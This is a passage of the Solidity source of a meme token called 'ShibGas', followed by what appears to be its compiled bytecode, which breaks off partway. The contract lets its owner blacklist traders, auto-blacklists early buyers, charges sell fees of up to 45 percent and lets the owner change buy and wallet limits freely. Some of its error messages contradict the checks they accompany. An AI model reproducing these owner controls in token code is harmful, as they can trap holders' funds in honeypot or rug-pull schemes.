using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"ShibGas";
string private constant _symbol = unicode"SHIBGAS";
uint256 private minContractTokensToSwap = 1e3 * 10**9;
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 15;
uint256 private _liquidityFeePercentage = 0;
uint256 private _maxWalletPercentage = 1;
uint256 private launchBlock = 0;
uint256 private _maxBuyAmount;
uint256 private _baseFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _swapAll = false;
bool private _takeFeeFromTransfer = false;
bool private inSwap = false;
bool private _noTaxMode = false;
mapping(address => bool) private automatedMarketMakerPairs;
event Response(bool feeSent, bool marketingSent);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if (block.number <= launchBlock + 3) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_bots[to] = true;
}
}
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (amount >= balanceOf(uniswapV2Pair).mul(25).div(100)) {
_teamFee = _baseFee - 6;
} else if (amount >= balanceOf(uniswapV2Pair).mul(15).div(100)) {
_teamFee = _baseFee - 4;
} else if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) {
_teamFee = _baseFee - 2;
} else {
_teamFee = _baseFee;
}
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxWalletPercentage).div(100), "amount exceeds max wallet holdings");
if (_maxBuyAmount > 0) {
require(amount <= _maxBuyAmount, "amount exceeds max buy");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if (amount >= balanceOf(uniswapV2Pair).mul(25).div(100)) {
_teamFee = _baseFee + 30;
} else if (amount >= balanceOf(uniswapV2Pair).mul(15).div(100)) {
_teamFee = _baseFee + 15;
} else if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) {
_teamFee = _baseFee + 5;
} else {
_teamFee = _baseFee;
}
if(contractTokenBalance > minContractTokensToSwap) {
if(!_swapAll) {
contractTokenBalance = minContractTokensToSwap;
}
if (_liquidityFeePercentage > 0) {
swapAndLiquify(contractTokenBalance);
} else {
swapWithoutLiquify(contractTokenBalance);
}
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) {
takeFee = false;
}
if(!_takeFeeFromTransfer && !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) {
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 teamFeePercentage = 100 - _liquidityFeePercentage;
uint256 amtForLiquidity = contractTokenBalance.mul(_liquidityFeePercentage).div(100);
uint256 halfLiq = amtForLiquidity.div(2);
uint256 amountToSwapForETH = contractTokenBalance.sub(halfLiq);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 feeBalance = ethBalance.mul(teamFeePercentage).div(100);
sendETHToFee(feeBalance);
uint256 ethForLiquidity = ethBalance - feeBalance;
if (halfLiq > 0 && ethForLiquidity > 0) {
// add liquidity
addLiquidity(halfLiq, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, amtForLiquidity);
}
}
function swapWithoutLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function manualSwapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
(bool fee, ) = _FeeAddress.call{value: amount.mul(3).div(10)}("");
(bool marketing, ) = _marketingWalletAddress.call{value: amount.mul(7).div(10)}("");
emit Response(fee, marketing);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
automatedMarketMakerPairs[uniswapV2Pair] = true;
launchBlock = block.number;
_maxBuyAmount = 50000 * 10**9;
}
function setMarketingWallet (address payable marketingWalletAddress) external onlyOwner() {
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function setFeeAddress (address payable feeAddress) external onlyOwner() {
_isExcludedFromFee[_FeeAddress] = false;
_FeeAddress = feeAddress;
_isExcludedFromFee[feeAddress] = true;
}
function excludeFromFee (address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTakeFeeFromTransfer(bool onoff) external onlyOwner() {
_takeFeeFromTransfer = onoff;
}
function setBaseFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "Base fee must be less than 10");
_baseFee = fee;
}
function setTaxFee(uint256 tax) external onlyOwner() {
require(tax <= 15, "tax must be less than 5");
_taxFee = tax;
}
function setNoTaxMode(bool onoff) external onlyOwner() {
_noTaxMode = onoff;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
require(_liquidityFeePercentage >= 0 && _liquidityFeePercentage <= 100, "liquidity fee percentage must be between 0 to 100");
_liquidityFeePercentage = liquidityFee;
}
function setMinContractTokensToSwap(uint256 numToken) external onlyOwner() {
minContractTokensToSwap = numToken;
}
function setMaxWalletPercentage(uint256 percentage) external onlyOwner() {
require(percentage >= 0 && percentage <= 100, "max wallet percentage must be between 0 to 100");
_maxWalletPercentage = percentage;
}
function setMaxBuy(uint256 amt) external onlyOwner() {
_maxBuyAmount = amt;
}
function setSwapAll(bool onoff) external onlyOwner() {
_swapAll = onoff;
}
function setBots(address[] calldata bots_) external onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) external onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
manualSwapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner() {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
}
} | 0x6080604052600436106101f25760003560e01c80637a845ece1161010d578063c1187569116100a0578063cf0848f71161006f578063cf0848f7146105ac578063db92dbb6146105cc578063dd62ed3e146105e1578063de30aad114610627578063f53bc8351461064757600080fd5b8063c118756914610542578063c3c8cd8014610562578063c4081a4c14610577578063c9567bf91461059757600080fd5b806395d89b41116100dc57806395d89b41146104b25780639a7a23d6146104e2578063a9059cbb14610502578063b515566a1461052257600080fd5b80637a845ece1461042a5780638705fcd41461044a5780638da5cb5b1461046a5780638ee88c531461049257600080fd5b80633bbac579116101855780635d098b38116101545780635d098b38146103c05780636fc3eaec146103e057806370a08231146103f5578063715018a61461041557600080fd5b80633bbac57914610327578063437823ec1461036057806346860698146103805780634b740b16146103a057600080fd5b806323b872dd116101c157806323b872dd146102b6578063273123b7146102d657806327f3a72a146102f6578063313ce5671461030b57600080fd5b806306fdde03146101fe578063095ea7b31461024057806312dfbd331461027057806318160ddd1461029257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b506040805180820190915260078152665368696247617360c81b60208201525b604051610237919061293a565b60405180910390f35b34801561024c57600080fd5b5061026061025b3660046127e7565b610667565b6040519015158152602001610237565b34801561027c57600080fd5b5061029061028b3660046128ba565b61067e565b005b34801561029e57600080fd5b5066038d7ea4c680005b604051908152602001610237565b3480156102c257600080fd5b506102606102d136600461277a565b6106b6565b3480156102e257600080fd5b506102906102f136600461270a565b61071f565b34801561030257600080fd5b506102a861076a565b34801561031757600080fd5b5060405160098152602001610237565b34801561033357600080fd5b5061026061034236600461270a565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561036c57600080fd5b5061029061037b36600461270a565b61077a565b34801561038c57600080fd5b5061029061039b3660046128ba565b6107c8565b3480156103ac57600080fd5b506102906103bb366004612882565b610848565b3480156103cc57600080fd5b506102906103db36600461270a565b610890565b3480156103ec57600080fd5b5061029061090a565b34801561040157600080fd5b506102a861041036600461270a565b610941565b34801561042157600080fd5b50610290610963565b34801561043657600080fd5b506102906104453660046128ba565b6109d7565b34801561045657600080fd5b5061029061046536600461270a565b610a6e565b34801561047657600080fd5b506000546040516001600160a01b039091168152602001610237565b34801561049e57600080fd5b506102906104ad3660046128ba565b610ae8565b3480156104be57600080fd5b506040805180820190915260078152665348494247415360c81b602082015261022a565b3480156104ee57600080fd5b506102906104fd3660046127ba565b610b84565b34801561050e57600080fd5b5061026061051d3660046127e7565b610c5a565b34801561052e57600080fd5b5061029061053d366004612812565b610c67565b34801561054e57600080fd5b5061029061055d366004612882565b610dbc565b34801561056e57600080fd5b50610290610e04565b34801561058357600080fd5b506102906105923660046128ba565b610e44565b3480156105a357600080fd5b50610290610ec4565b3480156105b857600080fd5b506102906105c736600461270a565b611282565b3480156105d857600080fd5b506102a86112cd565b3480156105ed57600080fd5b506102a86105fc366004612742565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561063357600080fd5b50610290610642366004612882565b6112e5565b34801561065357600080fd5b506102906106623660046128ba565b61132d565b600061067433848461135c565b5060015b92915050565b6000546001600160a01b031633146106b15760405162461bcd60e51b81526004016106a89061298d565b60405180910390fd5b600955565b60006106c3848484611480565b610715843361071085604051806060016040528060288152602001612af5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611b54565b61135c565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b81526004016106a89061298d565b6001600160a01b03166000908152600660205260409020805460ff19169055565b600061077530610941565b905090565b6000546001600160a01b031633146107a45760405162461bcd60e51b81526004016106a89061298d565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107f25760405162461bcd60e51b81526004016106a89061298d565b600f8111156108435760405162461bcd60e51b815260206004820152601d60248201527f4261736520666565206d757374206265206c657373207468616e20313000000060448201526064016106a8565b601055565b6000546001600160a01b031633146108725760405162461bcd60e51b81526004016106a89061298d565b60168054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016106a89061298d565b601480546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146109345760405162461bcd60e51b81526004016106a89061298d565b4761093e81611b8e565b50565b6001600160a01b03811660009081526002602052604081205461067890611c99565b6000546001600160a01b0316331461098d5760405162461bcd60e51b81526004016106a89061298d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a015760405162461bcd60e51b81526004016106a89061298d565b6064811115610a695760405162461bcd60e51b815260206004820152602e60248201527f6d61782077616c6c65742070657263656e74616765206d75737420626520626560448201526d0747765656e203020746f203130360941b60648201526084016106a8565b600d55565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016106a89061298d565b601380546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b03163314610b125760405162461bcd60e51b81526004016106a89061298d565b6064600c541115610b7f5760405162461bcd60e51b815260206004820152603160248201527f6c6971756964697479206665652070657263656e74616765206d7573742062656044820152700206265747765656e203020746f2031303607c1b60648201526084016106a8565b600c55565b6000546001600160a01b03163314610bae5760405162461bcd60e51b81526004016106a89061298d565b6016546001600160a01b0383811691161415610c325760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016106a8565b6001600160a01b0382166000908152601760205260409020805460ff19168215151790555050565b6000610674338484611480565b6000546001600160a01b03163314610c915760405162461bcd60e51b81526004016106a89061298d565b60005b81811015610db7576016546001600160a01b0316838383818110610cc857634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610cdd919061270a565b6001600160a01b031614158015610d3c57506015546001600160a01b0316838383818110610d1b57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610d30919061270a565b6001600160a01b031614155b15610da557600160066000858585818110610d6757634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610d7c919061270a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b80610daf81612aa0565b915050610c94565b505050565b6000546001600160a01b03163314610de65760405162461bcd60e51b81526004016106a89061298d565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610e2e5760405162461bcd60e51b81526004016106a89061298d565b6000610e3930610941565b905061093e81611d1d565b6000546001600160a01b03163314610e6e5760405162461bcd60e51b81526004016106a89061298d565b600f811115610ebf5760405162461bcd60e51b815260206004820152601760248201527f746178206d757374206265206c657373207468616e203500000000000000000060448201526064016106a8565b600a55565b6000546001600160a01b03163314610eee5760405162461bcd60e51b81526004016106a89061298d565b601654600160a01b900460ff1615610f485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106a8565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610f83308266038d7ea4c6800061135c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fbc57600080fd5b505afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612726565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103c57600080fd5b505afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110749190612726565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156110bc57600080fd5b505af11580156110d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f49190612726565b601680546001600160a01b0319166001600160a01b039283161790556015541663f305d719473061112481610941565b6000806111396000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161115b969594939291906128ff565b6060604051808303818588803b15801561117457600080fd5b505af1158015611188573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ad91906128d2565b505060165460155460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611239919061289e565b50506016805460ff60a01b198116600160a01b179091556001600160a01b03166000908152601760205260409020805460ff1916600117905543600e55652d79883d2000600f55565b6000546001600160a01b031633146112ac5760405162461bcd60e51b81526004016106a89061298d565b6001600160a01b03166000908152600560205260409020805460ff19169055565b601654600090610775906001600160a01b0316610941565b6000546001600160a01b0316331461130f5760405162461bcd60e51b81526004016106a89061298d565b60168054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b031633146113575760405162461bcd60e51b81526004016106a89061298d565b600f55565b6001600160a01b0383166113be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106a8565b6001600160a01b03821661141f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106a8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106a8565b6001600160a01b0382166115465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106a8565b600081116115a85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106a8565b6000546001600160a01b038481169116148015906115d457506000546001600160a01b03838116911614155b15611a82576001600160a01b03831660009081526006602052604090205460ff1615801561161b57506001600160a01b03821660009081526006602052604090205460ff16155b61162457600080fd5b600e54611632906003612a32565b43116116e6576016546001600160a01b0384811691161480159061166457506015546001600160a01b03848116911614155b15611691576001600160a01b0383166000908152600660205260409020805460ff191660011790556116e6565b6016546001600160a01b038381169116148015906116bd57506015546001600160a01b03838116911614155b156116e6576001600160a01b0382166000908152600660205260409020805460ff191660011790555b6016546001600160a01b03848116911614801561171157506015546001600160a01b03838116911614155b801561173657506001600160a01b03821660009081526005602052604090205460ff16155b1561193d57601654600160a01b900460ff166117945760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106a8565b6016546117c3906064906117bd906019906117b7906001600160a01b0316610941565b90611ec2565b90611f41565b81106117e05760066010546117d89190612a89565b600b55611857565b601654611803906064906117bd90600f906117b7906001600160a01b0316610941565b81106118185760046010546117d89190612a89565b60165461183b906064906117bd906005906117b7906001600160a01b0316610941565b81106118505760026010546117d89190612a89565b601054600b555b600061186283610941565b905061188560646117bd600d5466038d7ea4c68000611ec290919063ffffffff16565b61188f8383611f83565b11156118e85760405162461bcd60e51b815260206004820152602260248201527f616d6f756e742065786365656473206d61782077616c6c657420686f6c64696e604482015261677360f01b60648201526084016106a8565b600f541561193b57600f5482111561193b5760405162461bcd60e51b8152602060048201526016602482015275616d6f756e742065786365656473206d61782062757960501b60448201526064016106a8565b505b600061194830610941565b601654909150600160b81b900460ff1615801561197357506016546001600160a01b03858116911614155b80156119885750601654600160a01b900460ff165b15611a80576016546119b0906064906117bd906019906117b7906001600160a01b0316610941565b82106119cc576010546119c490601e612a32565b600b55611a41565b6016546119ef906064906117bd90600f906117b7906001600160a01b0316610941565b8210611a03576010546119c490600f612a32565b601654611a26906064906117bd906005906117b7906001600160a01b0316610941565b8210611a3a576010546119c4906005612a32565b601054600b555b600954811115611a8057601654600160a81b900460ff16611a6157506009545b600c5415611a7757611a7281611fe2565b611a80565b611a80816120fe565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680611ac457506001600160a01b03831660009081526005602052604090205460ff165b80611ad85750601654600160c01b900460ff165b15611ae1575060005b601654600160b01b900460ff16158015611b1457506001600160a01b03841660009081526017602052604090205460ff16155b8015611b3957506001600160a01b03831660009081526017602052604090205460ff16155b15611b42575060005b611b4e8484848461213b565b50505050565b60008184841115611b785760405162461bcd60e51b81526004016106a8919061293a565b506000611b858486612a89565b95945050505050565b6013546000906001600160a01b0316611bad600a6117bd856003611ec2565b604051600081818185875af1925050503d8060008114611be9576040519150601f19603f3d011682016040523d82523d6000602084013e611bee565b606091505b50506014549091506000906001600160a01b0316611c12600a6117bd866007611ec2565b604051600081818185875af1925050503d8060008114611c4e576040519150601f19603f3d011682016040523d82523d6000602084013e611c53565b606091505b505060408051841515815282151560208201529192507fc45e9b3ac19bf635feaed560109cb8931031fbbc86809d50d65d41a2cf2fe8b9910160405180910390a1505050565b6000600754821115611d005760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106a8565b6000611d0a612169565b9050611d168382611f41565b9392505050565b6016805460ff60b81b1916600160b81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611d7357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611dc757600080fd5b505afa158015611ddb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dff9190612726565b81600181518110611e2057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601554611e46913091168461135c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e7f9085906000908690309042906004016129c2565b600060405180830381600087803b158015611e9957600080fd5b505af1158015611ead573d6000803e3d6000fd5b50506016805460ff60b81b1916905550505050565b600082611ed157506000610678565b6000611edd8385612a6a565b905082611eea8583612a4a565b14611d165760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106a8565b6000611d1683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061218c565b600080611f908385612a32565b905083811015611d165760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106a8565b6016805460ff60b81b1916600160b81b179055600c54600090612006906064612a89565b9050600061202460646117bd600c5486611ec290919063ffffffff16565b90506000612033826002611f41565b9050600061204185836121ba565b90504761204d826121fc565b600061205947836121ba565b9050600061206c60646117bd848a611ec2565b905061207781611b8e565b60006120838284612a89565b90506000861180156120955750600081115b156120e6576120a48682612381565b60408051868152602081018390529081018890527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b50506016805460ff60b81b1916905550505050505050565b6016805460ff60b81b1916600160b81b17905561211a816121fc565b47801561212a5761212a47611b8e565b50506016805460ff60b81b19169055565b806121485761214861243d565b61215384848461246b565b80611b4e57611b4e601154600a55601254600b55565b6000806000612176612562565b90925090506121858282611f41565b9250505090565b600081836121ad5760405162461bcd60e51b81526004016106a8919061293a565b506000611b858486612a4a565b6000611d1683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b54565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061223f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561229357600080fd5b505afa1580156122a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122cb9190612726565b816001815181106122ec57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601554612312913091168461135c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061234b9085906000908690309042906004016129c2565b600060405180830381600087803b15801561236557600080fd5b505af1158015612379573d6000803e3d6000fd5b505050505050565b6015546123999030906001600160a01b03168461135c565b6015546001600160a01b031663f305d7198230856000806123c26000546001600160a01b031690565b426040518863ffffffff1660e01b81526004016123e4969594939291906128ff565b6060604051808303818588803b1580156123fd57600080fd5b505af1158015612411573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061243691906128d2565b5050505050565b600a5415801561244d5750600b54155b1561245457565b600a8054601155600b805460125560009182905555565b60008060008060008061247d876125a0565b6001600160a01b038f16600090815